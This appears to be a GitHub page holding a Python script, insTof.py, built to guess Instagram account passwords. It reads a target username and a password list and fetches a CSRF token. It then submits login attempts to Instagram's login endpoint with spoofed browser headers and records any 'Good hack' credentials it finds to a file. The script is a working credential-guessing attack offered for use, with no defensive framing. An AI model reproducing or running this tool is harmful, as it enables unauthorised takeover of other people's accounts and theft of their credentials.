-
Notifications
You must be signed in to change notification settings - Fork 200
/
insTof.py
107 lines (97 loc) · 4.06 KB
/
insTof.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
import os
import sys
import json
from time import sleep
from datetime import datetime
import requests
normal_color = "\33[00m"
info_color = "\033[1;33m"
red_color = "\033[1;31m"
green_color = "\033[1;32m"
whiteB_color = "\033[1;37m"
detect_color = "\033[1;34m"
banner_color="\033[1;33;40m"
end_banner_color="\33[00m"
def Logo():
print(detect_color+'''
....
%
^
L
"F3 $r
$$$$.e$" .
"$$$$$" "
(insTof by 8.3v) $$$$c /
. $$$$$$$P
."c $$$
.$c3b ..J$$$$$e
4$$$$ .$$$$$$$$$$$$$$c
$$$$b .$$$$$$$$$$$$$$$$r
$$$. .$$$$$$$$$$$$$$$$$$
$$$c .$$$$$$$ "$$$$$$$$$r
==============================================
[developer] => FaLaH - 0xfff0800 [developer_email] => [email protected] )
[developer_snapchat] => flaah999
==============================================
''')
def clear_console():
os.system('cls' if os.name == 'nt' else 'clear')
def attempt_login(session, username, password, csrf_token):
login_url = 'https://www.instagram.com/accounts/login/ajax/'
time = int(datetime.now().timestamp())
payload = {
'username': username,
'enc_password': f'#PWD_INSTAGRAM_BROWSER:0:{time}:{password}',
'queryParams': {},
'optIntoOneTap': 'false'
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36",
"X-Requested-With": "XMLHttpRequest",
"Referer": "https://www.instagram.com/accounts/login/",
"x-csrftoken": csrf_token
}
return session.post(login_url, data=payload, headers=headers)
def read_passwords(file_path):
try:
with open(file_path, 'r') as file:
return file.read().splitlines()
except FileNotFoundError:
print("Password file not found.")
sys.exit(1)
def get_csrf_token(session):
link = 'https://www.instagram.com/accounts/login/'
req = session.get(link)
return req.cookies.get('csrftoken', None)
def main():
clear_console()
print('')
Logo()
username = input(end_banner_color + "Username => ")
passwords_file = input("List of Passwords => ")
passwords = read_passwords(passwords_file)
with requests.Session() as session:
csrf_token = get_csrf_token(session)
if not csrf_token:
print("CSRFTOKEN not found in cookies")
return
for password in passwords:
response = attempt_login(session, username, password, csrf_token)
if 'checkpoint_url' in response.text:
print((red_color + ' --> Username : ' + green_color + username + red_color + ' --> Password : ' + green_color + password + ' --> Good hack'))
with open('good.txt', 'a') as x:
x.write(username + ':' + password + '\n')
break
if 'userId' in response.text:
print ((red_color + ' --> Username : ' + green_color + username + red_color +' --> Password : '+ green_color + password + ' --> Good hack'))
with open('good.txt', 'a') as x:
x.write(username + ':' + password + '\n')
if 'error' in response.text:
print((normal_color+'' + ' --> Username : ' + end_banner_color + username + red_color + ' --> Password : ' + end_banner_color + password + red_color + ' --> Sorry, there was a problem'))
elif 'status' in response.text:
print (end_banner_color + "---------------------------------------")
print ((red_color + ' --> Username : ' + end_banner_color + username + red_color +' --> Password : '+ end_banner_color + password + red_color +' --> Error'))
print('\nSleeping for 10 seconds...')
sleep(10)
if __name__ == "__main__":
main()